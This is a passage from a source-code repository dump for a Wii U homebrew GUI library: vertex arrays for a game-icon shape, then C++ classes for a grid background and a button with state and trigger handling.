0.221558f,-0.086713f,0.971284f,\n0.061944f,-0.007387f,0.998052f,0.061979f,-0.026292f,0.997731f,0.113708f,-0.028673f,0.9931f,0.113635f,-0.008231f,0.993489f,\n0.061979f,-0.026292f,0.997731f,0.062764f,-0.064559f,0.995938f,0.113981f,-0.068259f,0.991135f,0.113708f,-0.028673f,0.9931f,\n0.113708f,-0.028673f,0.9931f,0.113981f,-0.068259f,0.991135f,0.221558f,-0.086713f,0.971284f,0.222823f,-0.037022f,0.974156f,\n0.113635f,-0.008231f,0.993489f,0.113708f,-0.028673f,0.9931f,0.222823f,-0.037022f,0.974156f,0.223053f,-0.010715f,0.974747f,\n0.00717f,0.007027f,0.99995f,0.007189f,0.0f,0.999974f,0.025542f,0.0f,0.999674f,0.025482f,0.007044f,0.999651f,\n0.007189f,0.0f,0.999974f,0.007169f,-0.00707f,0.999949f,0.025479f,-0.007087f,0.99965f,0.025542f,0.0f,0.999674f,\n0.025542f,0.0f,0.999674f,0.025479f,-0.007087f,0.99965f,0.061944f,-0.007387f,0.998052f,0.061996f,0.0f,0.998076f,\n0.025482f,0.007044f,0.999651f,0.025542f,0.0f,0.999674f,0.061996f,0.0f,0.998076f,0.061948f,0.007344f,0.998052f,\n0.061944f,-0.007387f,0.998052f,0.113635f,-0.008231f,0.993489f,0.11363f,0.0f,0.993523f,0.061996f,0.0f,0.998076f,\n0.113635f,-0.008231f,0.993489f,0.223053f,-0.010715f,0.974747f,0.222967f,-1.0E-6f,0.974826f,0.11363f,0.0f,0.993523f,\n0.11363f,0.0f,0.993523f,0.222967f,-1.0E-6f,0.974826f,0.223051f,0.010649f,0.974749f,0.113637f,0.008184f,0.993489f,\n0.061996f,0.0f,0.998076f,0.11363f,0.0f,0.993523f,0.113637f,0.008184f,0.993489f,0.061948f,0.007344f,0.998052f,\n-0.693736f,0.024972f,0.719796f,-0.565768f,0.020427f,0.824311f,-0.560511f,0.071322f,0.82507f,-0.681667f,0.087549f,0.726406f,\n-0.560511f,0.071322f,0.82507f,-0.565768f,0.020427f,0.824311f,-0.367245f,0.014528f,0.930011f,-0.365644f,0.050051f,0.929408f,\n-0.53875f,0.167715f,0.825603f,-0.560511f,0.071322f,0.82507f,-0.365644f,0.050051f,0.929408f,-0.359059f,0.116722f,0.925987f,\n-0.681667f,0.087549f,0.726406f,-0.560511f,0.071322f,0.82507f,-0.53875f,0.167715f,0.825603f,-0.644943f,0.202621f,0.736881f,\n-0.367245f,0.014528f,0.930011f,-0.220997f,0.010655f,0.975216f,-0.220758f,0.036362f,0.974651f,-0.365644f,0.050051f,0.929408f,\n-0.365644f,0.050051f,0.929408f,-0.220758f,0.036362f,0.974651f,-0.219543f,0.083629f,0.972012f,-0.359059f,0.116722f,0.925987f,\n-0.53875f,0.167715f,0.825603f,-0.359059f,0.116722f,0.925987f,-0.34505f,0.199733f,0.917086f,-0.491757f,0.284219f,0.82304f,\n-0.359059f,0.116722f,0.925987f,-0.219543f,0.083629f,0.972012f,-0.216564f,0.138788f,0.966353f,-0.34505f,0.199733f,0.917086f,\n-0.34505f,0.199733f,0.917086f,-0.216564f,0.138788f,0.966353f,-0.211482f,0.213152f,0.953856f,-0.296456f,0.298724f,0.907126f,\n-0.34505f,0.199733f,0.917086f,-0.296456f,0.298724f,0.907126f,-0.402197f,0.405178f,0.821017f,-0.491757f,0.284219f,0.82304f,\n-0.644943f,0.202621f,0.736881f,-0.53875f,0.167715f,0.825603f,-0.491757f,0.284219f,0.82304f,-0.574618f,0.33479f,0.746813f,\n-0.574618f,0.33479f,0.746813f,-0.491757f,0.284219f,0.82304f,-0.402197f,0.405178f,0.821017f,-0.466013f,0.469045f,0.75022f,\n0.223051f,0.010649f,0.974749f,0.37035f,0.014508f,0.928779f,0.368745f,0.04998f,0.928186f,0.222811f,0.036337f,0.974184f,\n0.368745f,0.04998f,0.928186f,0.37035f,0.014508f,0.928779f,0.569522f,0.020364f,0.821724f,0.564266f,0.071105f,0.822525f,\n0.362133f,0.116561f,0.92481f,0.368745f,0.04998f,0.928186f,0.564266f,0.071105f,0.822525f,0.54249f,0.167243f,0.823246f,\n0.222811f,0.036337f,0.974184f,0.368745f,0.04998f,0.928186f,0.362133f,0.116561f,0.92481f,0.221593f,0.083571f,0.971552f,\n0.569522f,0.020364f,0.821724f,0.697248f,0.024864f,0.716398f,0.685209f,0.08722f,0.723105f,0.564266f,0.071105f,0.822525f,\n0.564266f,0.071105f,0.822525f,0.685209f,0.08722f,0.723105f,0.648546f,0.20196f,0.733894f,0.54249f,0.167243f,0.823246f,\n0.362133f,0.116561f,0.92481f,0.54249f,0.167243f,0.823246f,0.495412f,0.283564f,0.821071f,0.348093f,0.199473f,0.915992f,\n0.54249f,0.167243f,0.823246f,0.648546f,0.20196f,0.733894f,0.578173f,0.334012f,0.744414f,0.495412f,0.283564f,0.821071f,\n0.495412f,0.283564f,0.821071f,0.578173f,0.334012f,0.744414f,0.4693f,0.468325f,0.748619f,0.405489f,0.404531f,0.819716f,\n0.495412f,0.283564f,0.821071f,0.405489f,0.404531f,0.819716f,0.299149f,0.298419f,0.906342f,0.348093f,0.199473f,0.915992f,\n0.221593f,0.083571f,0.971552f,0.362133f,0.116561f,0.92481f,0.348093f,0.199473f,0.915992f,0.218621f,0.138683f,0.965905f,\n0.218621f,0.138683f,0.965905f,0.348093f,0.199473f,0.915992f,0.299149f,0.298419f,0.906342f,0.213531f,0.212993f,0.953435f,\n0.010878f,0.222561f,0.974858f,0.008351f,0.113056f,0.993554f,0.028645f,0.113157f,0.993164f,0.037001f,0.222307f,0.974274f,\n0.008351f,0.113056f,0.993554f,0.007491f,0.061287f,0.998092f,0.026239f,0.061352f,0.997771f,0.028645f,0.113157f,0.993164f,\n0.028645f,0.113157f,0.993164f,0.026239f,0.061352f,0.997771f,0.062873f,0.062197f,0.996082f,0.066588f,0.113508f,0.991303f,\n0.037001f,0.222307f,0.974274f,0.028645f,0.113157f,0.993164f,0.066588f,0.113508f,0.991303f,0.084603f,0.221056f,0.971585f,\n0.007491f,0.061287f,0.998092f,0.007187f,0.025058f,0.99966f,0.025494f,0.025072f,0.999361f,0.026239f,0.061352f,0.997771f,\n0.007187f,0.025058f,0.99966f,0.00717f,0.007027f,0.99995f,0.025482f,0.007044f,0.999651f,0.025494f,0.025072f,0.999361f,\n0.025494f,0.025072f,0.999361f,0.025482f,0.007044f,0.999651f,0.061948f,0.007344f,0.998052f,0.062015f,0.025807f,0.997742f,\n0.026239f,0.061352f,0.997771f,0.025494f,0.025072f,0.999361f,0.062015f,0.025807f,0.997742f,0.062873f,0.062197f,0.996082f,\n0.062873f,0.062197f,0.996082f,0.062015f,0.025807f,0.997742f,0.113738f,0.028159f,0.993112f,0.114097f,0.065833f,0.991286f,\n0.062015f,0.025807f,0.997742f,0.061948f,0.007344f,0.998052f,0.113637f,0.008184f,0.993489f,0.113738f,0.028159f,0.993112f,\n0.113738f,0.028159f,0.993112f,0.113637f,0.008184f,0.993489f,0.223051f,0.010649f,0.974749f,0.222811f,0.036337f,0.974184f,\n0.114097f,0.065833f,0.991286f,0.113738f,0.028159f,0.993112f,0.222811f,0.036337f,0.974184f,0.221593f,0.083571f,0.971552f,\n0.084603f,0.221056f,0.971585f,0.066588f,0.113508f,0.991303f,0.114794f,0.114134f,0.986811f,0.139597f,0.218066f,0.965898f,\n0.066588f,0.113508f,0.991303f,0.062873f,0.062197f,0.996082f,0.114097f,0.065833f,0.991286f,0.114794f,0.114134f,0.986811f,\n0.114794f,0.114134f,0.986811f,0.114097f,0.065833f,0.991286f,0.221593f,0.083571f,0.971552f,0.218621f,0.138683f,0.965905f,\n0.139597f,0.218066f,0.965898f,0.114794f,0.114134f,0.986811f,0.218621f,0.138683f,0.965905f,0.213531f,0.212993f,0.953435f,\n0.007491f,0.061287f,0.998092f,0.008351f,0.113056f,0.993554f,0.0f,0.113048f,0.99359f,0.0f,0.061335f,0.998117f,\n0.008351f,0.113056f,0.993554f,0.010878f,0.222561f,0.974858f,0.0f,0.222477f,0.974938f,0.0f,0.113048f,0.99359f,\n0.0f,0.113048f,0.99359f,0.0f,0.222477f,0.974938f,-0.010867f,0.22256f,0.974858f,-0.008343f,0.113057f,0.993554f,\n0.0f,0.061335f,0.998117f,0.0f,0.113048f,0.99359f,-0.008343f,0.113057f,0.993554f,-0.007484f,0.061287f,0.998092f,\n0.007491f,0.061287f,0.998092f,0.0f,0.061335f,0.998117f,0.0f,0.025116f,0.999685f,0.007187f,0.025058f,0.99966f,\n0.0f,0.061335f,0.998117f,-0.007484f,0.061287f,0.998092f,-0.00718f,0.025059f,0.99966f,0.0f,0.025116f,0.999685f,\n0.0f,0.025116f,0.999685f,-0.00718f,0.025059f,0.99966f,-0.007163f,0.007027f,0.99995f,0.0f,0.007045f,0.999975f,\n0.007187f,0.025058f,0.99966f,0.0f,0.025116f,0.999685f,0.0f,0.007045f,0.999975f,0.00717f,0.007027f,0.99995f,\n-0.220997f,0.010655f,0.975216f,-0.112675f,0.008187f,0.993598f,-0.112781f,0.02817f,0.993221f,-0.220758f,0.036362f,0.974651f,\n-0.112675f,0.008187f,0.993598f,-0.061553f,0.007347f,0.998077f,-0.061625f,0.025816f,0.997765f,-0.112781f,0.02817f,0.993221f,\n-0.112781f,0.02817f,0.993221f,-0.061625f,0.025816f,0.997765f,-0.062487f,0.062214f,0.996105f,-0.113147f,0.065858f,0.991393f,\n-0.220758f,0.036362f,0.974651f,-0.112781f,0.02817f,0.993221f,-0.113147f,0.065858f,0.991393f,-0.219543f,0.083629f,0.972012f,\n-0.061553f,0.007347f,0.998077f,-0.025398f,0.007046f,0.999653f,-0.025412f,0.025076f,0.999363f,-0.061625f,0.025816f,0.997765f,\n-0.025398f,0.007046f,0.999653f,-0.007163f,0.007027f,0.99995f,-0.00718f,0.025059f,0.99966f,-0.025412f,0.025076f,0.999363f,\n-0.025412f,0.025076f,0.999363f,-0.00718f,0.025059f,0.99966f,-0.007484f,0.061287f,0.998092f,-0.026157f,0.061358f,0.997773f,\n-0.061625f,0.025816f,0.997765f,-0.025412f,0.025076f,0.999363f,-0.026157f,0.061358f,0.997773f,-0.062487f,0.062214f,0.996105f,\n-0.062487f,0.062214f,0.996105f,-0.026157f,0.061358f,0.997773f,-0.028558f,0.113162f,0.993166f,-0.066192f,0.113526f,0.991328f,\n-0.026157f,0.061358f,0.997773f,-0.007484f,0.061287f,0.998092f,-0.008343f,0.113057f,0.993554f,-0.028558f,0.113162f,0.993166f,\n-0.028558f,0.113162f,0.993166f,-0.008343f,0.113057f,0.993554f,-0.010867f,0.22256f,0.974858f,-0.036885f,0.222305f,0.974279f,\n-0.066192f,0.113526f,0.991328f,-0.028558f,0.113162f,0.993166f,-0.036885f,0.222305f,0.974279f,-0.084089f,0.221062f,0.971628f,\n-0.219543f,0.083629f,0.972012f,-0.113147f,0.065858f,0.991393f,-0.113857f,0.11417f,0.986915f,-0.216564f,0.138788f,0.966353f,\n-0.113147f,0.065858f,0.991393f,-0.062487f,0.062214f,0.996105f,-0.066192f,0.113526f,0.991328f,-0.113857f,0.11417f,0.986915f,\n-0.113857f,0.11417f,0.986915f,-0.066192f,0.113526f,0.991328f,-0.084089f,0.221062f,0.971628f,-0.138447f,0.218126f,0.966051f,\n-0.216564f,0.138788f,0.966353f,-0.113857f,0.11417f,0.986915f,-0.138447f,0.218126f,0.966051f,-0.211482f,0.213152f,0.953856f,\n};\n\nconst float cfGameIconStrokeVtxs[] =\n{\n-0.376756459475,1.046143651009f,0.0f,\n-0.512206375599f,1.039104461670f,0.0f,\n-0.613150417805f,1.029256582260f,0.0f,\n-0.688333272934f,1.016606807709f,0.0f,\n-0.746499598026f,1.001162052155f,0.0f,\n-0.796394228935f,0.982929229736,0.0f,\n-0.839153468609,0.961680650711,0.0f,\n-0.875913500786,0.93718868494,0.0f,\n-0.907810747623,0.909225344658,0.0f,\n-0.93598151207,0.877562940121,0.0f,\n-0.960655272007,0.840993285179,0.0f,\n-0.982061386108,0.79830801487,0.0f,\n-1.00042927265,0.748299062252,0.0f,\n-1.015988588333,0.689758002758,0.0f,\n-1.028732180595,0.613717556,0.0f,\n-1.038653135300,0.511210441589,0.0f,\n-1.045744538307,0.373269081116,0.0f,\n-1.049999356270,0.190926194191,0.0f,\n-1.051417708397,-1.349482312799E-002,0.0f,\n-1.049999356270,-0.217670500278,0.0f,\n-1.04574441910,-0.399277359247,0.0f,\n-1.038653135300,-0.535992026329,0.0f,\n-1.028732180595,-0.636890649796,0.0f,\n-1.015988588333,-0.711049556732,0.0f,\n-1.00042927265,-0.767545044422,0.0f,\n-0.982061386108,-0.815453350544,0.0f,\n-0.960655212402,-0.856050789356,0.0f,\n-0.93598151207,-0.890613555908,0.0f,\n-0.907810747623,-0.920418143272,0.0f,\n-0.875913500786,-0.946740865707,0.0f,\n-0.839153468609,-0.969795942307,0.0f,\n-0.796394228935,-0.989797830582,0.0f,\n-0.746499598026,-1.006960868835,0.0f,\n-0.688333272934,-1.021499633789,0.0f,\n-0.613150477409,-1.033407211304,0.0f,\n-0.512206375599,-1.042677521706,0.0f,\n-0.376756429672,-1.049303770065,0.0f,\n-0.19805586338,-1.053279519081,0.0f,\n2.249561250210E-003,-1.054604768753,0.0f,\n0.202514111996,-1.053279519081,0.0f,\n0.381092041731,-1.049303770065,0.0f,\n0.516337633133,-1.042677521706,0.0f,\n0.617013633251,-1.033407211304,0.0f,\n0.691882967949,-1.021499633789,0.0f,\n0.749708354473,-1.006960868835,0.0f,\n0.79925262928,-0.989797830582,0.0f,\n0.841663658619,-0.969795942307,0.0f,\n0.87808907032,-0.946740865707,0.0f,\n0.909676492214,-0.920418143272,0.0f,\n0.93757379055,-0.890613555908,0.0f,\n0.962008118629,-0.856050789356,0.0f,\n0.983206510544,-0.815453350544,0.0f,\n1.001396179199,-0.767545044422,0.0f,\n1.016804218292,-0.711049556732,0.0f,\n1.029423952103,-0.636890649796,0.0f,\n1.039248347282,-0.535992026329,0.0f,\n1.046270728111,-0.399277359247,0.0f,\n1.050484061241,-0.217670500278,0.0f,\n1.051888465881,-1.349482685328E-002,0.0f,\n1.050484061241,0.190926194191,0.0f,\n1.046270728111,0.373269081116,0.0f,\n1.039248347282,0.511210441589,0.0f,\n1.029423952103,0.613717556,0.0f,\n1.016804218292,0.689758002758,0.0f,\n1.001396059990,0.748299002647,0.0f,\n0.983206450939,0.79830801487,0.0f,\n0.962008118629,0.840993225574,0.0f,\n0.93757379055,0.877562940121,0.0f,\n0.909676492214,0.909225344658,0.0f,\n0.87808907032,0.93718868494,0.0f,\n0.841663658619,0.961680650711,0.0f,\n0.79925262928,0.982929229736,0.0f,\n0.749708354473,1.001162052155,0.0f,\n0.691882967949,1.016606807709,0.0f,\n0.617013692856,1.029256582260,0.0f,\n0.516337633133,1.039104580879,0.0f,\n0.381092071533,1.046143770218,0.0f,\n0.202514111996,1.050367355347,0.0f,\n2.249561250210E-003,1.051775097847,0.0f,\n-0.19805586338,1.050367236137,0.0f,\n-0.376756459475,1.046143651009,0.0f\n};\n\nconst u32 cuGameIconStrokeVtxCount = sizeof(cfGameIconStrokeVtxs) / (sizeof(float) * 3);\n\n#endif\n"
  },
  {
    "path": "src/gui/GridBackground.cpp",
    "content": "#include \"GridBackground.h\"\n#include \"video/CVideo.h\"\n#include \"video/shaders/Shader3D.h\"\n\nstatic const float bgRepeat = 1000.0f;\nstatic const float bgTexRotate = 39.0f;\n\nGridBackground::GridBackground(GuiImageData *img)\n    : GuiImage(img)\n{\n    colorIntensity = glm::vec4(1.0f, 1.0f, 1.0f, 0.9f);\n    alphaFadeOut = glm::vec4(0.0f);\n    distanceFadeOut = 0.15f;\n\n    vtxCount = 4;\n\n    //! texture and vertex coordinates\n    f32 *m_posVtxs = (f32*)memalign(GX2_VERTEX_BUFFER_ALIGNMENT, vtxCount * Shader3D::cuVertexAttrSize);\n    f32 *m_texCoords = (f32*)memalign(GX2_VERTEX_BUFFER_ALIGNMENT, vtxCount * Shader3D::cuTexCoordAttrSize);\n\n    if(m_posVtxs)\n    {\n        s32 i = 0;\n        m_posVtxs[i++] = -1.0f; m_posVtxs[i++] = 0.0f; m_posVtxs[i++] = 1.0f;\n        m_posVtxs[i++] =  1.0f; m_posVtxs[i++] = 0.0f; m_posVtxs[i++] = 1.0f;\n        m_posVtxs[i++] =  1.0f; m_posVtxs[i++] = 0.0f; m_posVtxs[i++] = -1.0f;\n        m_posVtxs[i++] = -1.0f; m_posVtxs[i++] = 0.0f; m_posVtxs[i++] = -1.0f;\n        GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, m_posVtxs, vtxCount * Shader3D::cuVertexAttrSize);\n    }\n\n    if(m_texCoords)\n    {\n        glm::vec2 texCoordVec[4];\n        texCoordVec[0][0] = -0.5f * bgRepeat; texCoordVec[0][1] = 0.5f * bgRepeat;\n        texCoordVec[1][0] = 0.5f * bgRepeat; texCoordVec[1][1] = 0.5f * bgRepeat;\n        texCoordVec[2][0] = 0.5f * bgRepeat; texCoordVec[2][1] = -0.5f * bgRepeat;\n        texCoordVec[3][0] = -0.5f * bgRepeat; texCoordVec[3][1] = -0.5f * bgRepeat;\n\n        const float cosRot = cosf(DegToRad(bgTexRotate));\n        const float sinRot = sinf(DegToRad(bgTexRotate));\n\n        glm::mat2 texRotateMtx({\n            cosRot, -sinRot,\n            sinRot, cosRot\n        });\n\n        for(s32 i = 0; i < 4; i++)  {\n            texCoordVec[i] = texRotateMtx * texCoordVec[i];\n            m_texCoords[i*2 + 0] = texCoordVec[i][0];\n            m_texCoords[i*2 + 1] = texCoordVec[i][1];\n        }\n\n        GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, m_texCoords, vtxCount * Shader3D::cuTexCoordAttrSize);\n    }\n\n    //! assign to internal variables which are const but oh well\n    posVtxs = m_posVtxs;\n    texCoords = m_texCoords;\n}\n\nGridBackground::~GridBackground()\n{\n    //! remove image so it can not be drawn anymore from this point on\n    imageData = NULL;\n\n    //! main image vertexes\n    if(posVtxs)\n    {\n        free((void*)posVtxs);\n        posVtxs = NULL;\n    }\n    if(texCoords)\n    {\n        free((void*)texCoords);\n        texCoords = NULL;\n    }\n}\n\nvoid GridBackground::draw(CVideo *pVideo, const glm::mat4 & modelView)\n{\n    //! first setup 2D GUI positions\n    f32 currScaleX = bgRepeat * scaleX * (f32)getWidth() * pVideo->getWidthScaleFactor();\n    f32 currScaleY = 1.0f;\n    f32 currScaleZ = bgRepeat * scaleZ * (f32)getHeight() * pVideo->getDepthScaleFactor();\n\n    m_modelView = glm::scale(modelView, glm::vec3(currScaleX, currScaleY, currScaleZ));\n\n    colorIntensity[3] = getAlpha();\n\n    Shader3D::instance()->setShaders();\n    Shader3D::instance()->setTextureAndSampler(imageData->getTexture(), imageData->getSampler());\n    Shader3D::instance()->setProjectionMtx(pVideo->getProjectionMtx());\n    Shader3D::instance()->setViewMtx(pVideo->getViewMtx());\n    Shader3D::instance()->setModelViewMtx(m_modelView);\n    Shader3D::instance()->setDistanceFadeOut(distanceFadeOut);\n    Shader3D::instance()->setAlphaFadeOut(alphaFadeOut);\n    Shader3D::instance()->setColorIntensity(colorIntensity);\n    Shader3D::instance()->setAttributeBuffer(vtxCount, posVtxs, texCoords);\n    Shader3D::instance()->draw(GX2_PRIMITIVE_QUADS, vtxCount);\n}\n"
  },
  {
    "path": "src/gui/GridBackground.h",
    "content": "#ifndef _GRID_BACKGROUND_H_\n#define _GRID_BACKGROUND_H_\n\n#include \"GuiImage.h\"\n#include \"video/shaders/Shader.h\"\n\nclass GridBackground : public GuiImage\n{\npublic:\n    GridBackground(GuiImageData *imgData);\n    virtual ~GridBackground();\n\n    void setColorIntensity(const glm::vec4 & color) {\n        colorIntensity = color;\n    }\n    const glm::vec4 & getColorIntensity() const {\n        return colorIntensity;\n    }\n    void setDistanceFadeOut(const float & a) {\n        distanceFadeOut = a;\n    }\n    void draw(CVideo *pVideo, const glm::mat4 & modelView);\nprivate:\n    glm::mat4 m_modelView;\n    glm::vec4 colorIntensity;\n    glm::vec4 alphaFadeOut;\n    float distanceFadeOut;\n};\n\n#endif // _GRID_BACKGROUND_H_\n"
  },
  {
    "path": "src/gui/Gui.h",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#ifndef __GUI_H\n#define __GUI_H\n\n#include \"GuiElement.h\"\n#include \"GuiImageData.h\"\n#include \"GuiImage.h\"\n#include \"GuiFrame.h\"\n#include \"GuiController.h\"\n#include \"GuiText.h\"\n#include \"GuiSound.h\"\n#include \"GuiButton.h\"\n#include \"GuiTrigger.h\"\n#include \"GuiSelectBox.h\"\n#include \"GuiSwitch.h\"\n\n#endif\n"
  },
  {
    "path": "src/gui/GuiButton.cpp",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#include \"GuiButton.h\"\n#include \"GuiTrigger.h\"\n#include \"GuiController.h\"\n\n/**\n * Constructor for the GuiButton class.\n */\n\nGuiButton::GuiButton(f32 w, f32 h)\n{\n    width = w;\n    height = h;\n\timage = NULL;\n\timageOver = NULL;\n\timageHold = NULL;\n\timageClick = NULL;\n\ticon = NULL;\n\ticonOver = NULL;\n\n\tfor(s32 i = 0; i < 4; i++)\n\t{\n\t\tlabel[i] = NULL;\n\t\tlabelOver[i] = NULL;\n\t\tlabelHold[i] = NULL;\n\t\tlabelClick[i] = NULL;\n\t}\n\tfor(s32 i = 0; i < iMaxGuiTriggers; i++)\n\t{\n\t\ttrigger[i] = NULL;\n\t}\n\n\tsoundOver = NULL;\n\tsoundHold = NULL;\n\tsoundClick = NULL;\n\tclickedTrigger = NULL;\n\theldTrigger = NULL;\n\tselectable = true;\n\tholdable = false;\n\tclickable = true;\n}\n\n/**\n * Destructor for the GuiButton class.\n */\nGuiButton::~GuiButton()\n{\n}\n\nvoid GuiButton::setImage(GuiImage* img)\n{\n\timage = img;\n\tif(img) img->setParent(this);\n}\nvoid GuiButton::setImageOver(GuiImage* img)\n{\n\timageOver = img;\n\tif(img) img->setParent(this);\n}\nvoid GuiButton::setImageHold(GuiImage* img)\n{\n\timageHold = img;\n\tif(img) img->setParent(this);\n}\nvoid GuiButton::setImageClick(GuiImage* img)\n{\n\timageClick = img;\n\tif(img) img->setParent(this);\n}\nvoid GuiButton::setIcon(GuiImage* img)\n{\n\ticon = img;\n\tif(img) img->setParent(this);\n}\nvoid GuiButton::setIconOver(GuiImage* img)\n{\n\ticonOver = img;\n\tif(img) img->setParent(this);\n}\n\nvoid GuiButton::setLabel(GuiText* txt, s32 n)\n{\n\tlabel[n] = txt;\n\tif(txt) txt->setParent(this);\n}\nvoid GuiButton::setLabelOver(GuiText* txt, s32 n)\n{\n\tlabelOver[n] = txt;\n\tif(txt) txt->setParent(this);\n}\nvoid GuiButton::setLabelHold(GuiText* txt, s32 n)\n{\n\tlabelHold[n] = txt;\n\tif(txt) txt->setParent(this);\n}\nvoid GuiButton::setLabelClick(GuiText* txt, s32 n)\n{\n\tlabelClick[n] = txt;\n\tif(txt) txt->setParent(this);\n}\nvoid GuiButton::setSoundOver(GuiSound * snd)\n{\n\tsoundOver = snd;\n}\nvoid GuiButton::setSoundHold(GuiSound * snd)\n{\n\tsoundHold = snd;\n}\n\nvoid GuiButton::setSoundClick(GuiSound * snd)\n{\n\tsoundClick = snd;\n}\n\nvoid GuiButton::setTrigger(GuiTrigger * t, s32 idx)\n{\n    if(idx >= 0 && idx < iMaxGuiTriggers)\n    {\n        trigger[idx] = t;\n    }\n    else\n    {\n        for(s32 i = 0; i < iMaxGuiTriggers; i++)\n        {\n            if(!trigger[i])\n            {\n                trigger[i] = t;\n                break;\n            }\n        }\n    }\n}\n\nvoid GuiButton::resetState(void)\n{\n\tclickedTrigger = NULL;\n    heldTrigger = NULL;\n    GuiElement::resetState();\n}\n\n/**\n * Draw the button on screen\n */\nvoid GuiButton::draw(CVideo *v)\n{\n\tif(!this->isVisible())\n\t\treturn;\n\n\t// draw image\n\tif((isDrawOverOnlyWhenSelected() && (isStateSet(STATE_SELECTED) && imageOver)) ||\n      (!isDrawOverOnlyWhenSelected() && (isStateSet(STATE_OVER | STATE_SELECTED | STATE_CLICKED | STATE_HELD) && imageOver)))\n\t\timageOver->draw(v);\n\telse if(image)\n\t\timage->draw(v);\n\n\tif((isDrawOverOnlyWhenSelected() && (isStateSet(STATE_SELECTED) && iconOver)) ||\n      (!isDrawOverOnlyWhenSelected() && (isStateSet(STATE_OVER | STATE_SELECTED | STATE_CLICKED | STATE_HELD) && iconOver)))\n\t\ticonOver->draw(v);\n\telse if(icon)\n\t\ticon->draw(v);\n\n\t// draw text\n\tfor(s32 i = 0; i < 4; i++)\n\t{\n\t\tif(isStateSet(STATE_OVER | STATE_SELECTED | STATE_CLICKED | STATE_HELD) && labelOver[i])\n\t\t\tlabelOver[i]->draw(v);\n\t\telse if(label[i])\n\t\t\tlabel[i]->draw(v);\n\t}\n}\n\nvoid GuiButton::update(GuiController * c)\n{\n\tif(!c || isStateSet(STATE_DISABLED|STATE_HIDDEN|STATE_DISABLE_INPUT, c->chan))\n\t\treturn;\n\telse if(parentElement && (parentElement->isStateSet(STATE_DISABLED|STATE_HIDDEN|STATE_DISABLE_INPUT, c->chan)))\n\t\treturn;\n\n    if(selectable)\n    {\n\t\tif(c->data.validPointer && this->isInside(c->data.x, c->data.y))\n\t\t{\n\t\t\tif(!isStateSet(STATE_OVER, c->chan))\n\t\t\t{\n\t\t\t    setState(STATE_OVER, c->chan);\n\n\t\t\t\t//if(this->isRumbleActive())\n\t\t\t\t//\tthis->rumble(t->chan);\n\n\t\t\t\tif(soundOver)\n\t\t\t\t\tsoundOver->Play();\n\n\t\t\t\tif(effectsOver && !effects)\n\t\t\t\t{\n\t\t\t\t\t// initiate effects\n\t\t\t\t\teffects = effectsOver;\n\t\t\t\t\teffectAmount = effectAmountOver;\n\t\t\t\t\teffectTarget = effectTargetOver;\n\t\t\t\t}\n\n                pointedOn(this, c);\n\t\t\t}\n\t\t}\n\t\telse if(isStateSet(STATE_OVER, c->chan))\n        {\n            this->clearState(STATE_OVER, c->chan);\n            pointedOff(this, c);\n\n\t\t\tif(effectTarget == effectTargetOver && effectAmount == effectAmountOver)\n\t\t\t{\n\t\t\t\t// initiate effects (in reverse)\n\t\t\t\teffects = effectsOver;\n\t\t\t\teffectAmount = -effectAmountOver;\n\t\t\t\teffectTarget = 100;\n\t\t\t}\n        }\n    }\n\n    for(s32 i = 0; i < iMaxGuiTriggers; i++)\n    {\n        if(!trigger[i])\n            continue;\n\n        // button triggers\n        if(clickable)\n        {\n\n            s32 isClicked = trigger[i]->clicked(c);\n\n            if(   !clickedTrigger && (isClicked != GuiTrigger::CLICKED_NONE)\n               && (trigger[i]->isClickEverywhere() || (isStateSet(STATE_SELECTED | STATE_OVER, c->chan) && trigger[i]->isSelectionClickEverywhere()) || this->isInside(c->data.x, c->data.y)))\n            {\n                if(soundClick)\n                    soundClick->Play();\n\n                clickedTrigger = trigger[i];\n\n                if(!isStateSet(STATE_CLICKED, c->chan)){\n                    if(isClicked == GuiTrigger::CLICKED_TOUCH){\n                        setState(STATE_CLICKED_TOUCH, c->chan);\n                    }else{\n                        setState(STATE_CLICKED, c->chan);\n                    }\n                }\n\n                clicked(this, c, trigger[i]);\n            }\n            else if((isStateSet(STATE_CLICKED, c->chan) || isStateSet(STATE_CLICKED_TOUCH, c->chan)) && (clickedTrigger == trigger[i]) && !isStateSet(STATE_HELD, c->chan) && !trigger[i]->held(c) && ((isClicked == GuiTrigger::CLICKED_NONE) || trigger[i]->released(c)))\n            {\n                if((isStateSet(STATE_CLICKED_TOUCH, c->chan) && this->isInside(c->data.x, c->data.y)) || (isStateSet(STATE_CLICKED, c->chan))){\n                    clickedTrigger = NULL;\n                    clearState(STATE_CLICKED, c->chan);\n                    released(this, c, trigger[i]);\n                }\n            }\n        }\n\n        if(holdable)\n        {\n            bool isHeld = trigger[i]->held(c);\n\n            if(   (!heldTrigger || heldTrigger == trigger[i]) && isHeld\n               && (trigger[i]->isHoldEverywhere() || (isStateSet(STATE_SELECTED | STATE_OVER, c->chan) && trigger[i]->isSelectionClickEverywhere()) || this->isInside(c->data.x, c->data.y)))\n            {\n                heldTrigger = trigger[i];\n\n                if(!isStateSet(STATE_HELD, c->chan))\n                    setState(STATE_HELD, c->chan);\n\n                held(this, c, trigger[i]);\n            }\n            else if(isStateSet(STATE_HELD, c->chan) && (heldTrigger == trigger[i]) && (!isHeld || trigger[i]->released(c)))\n            {\n                //! click is removed at this point and converted to held\n                if(clickedTrigger == trigger[i])\n                {\n                    clickedTrigger = NULL;\n                    clearState(STATE_CLICKED, c->chan);\n                }\n                heldTrigger = NULL;\n                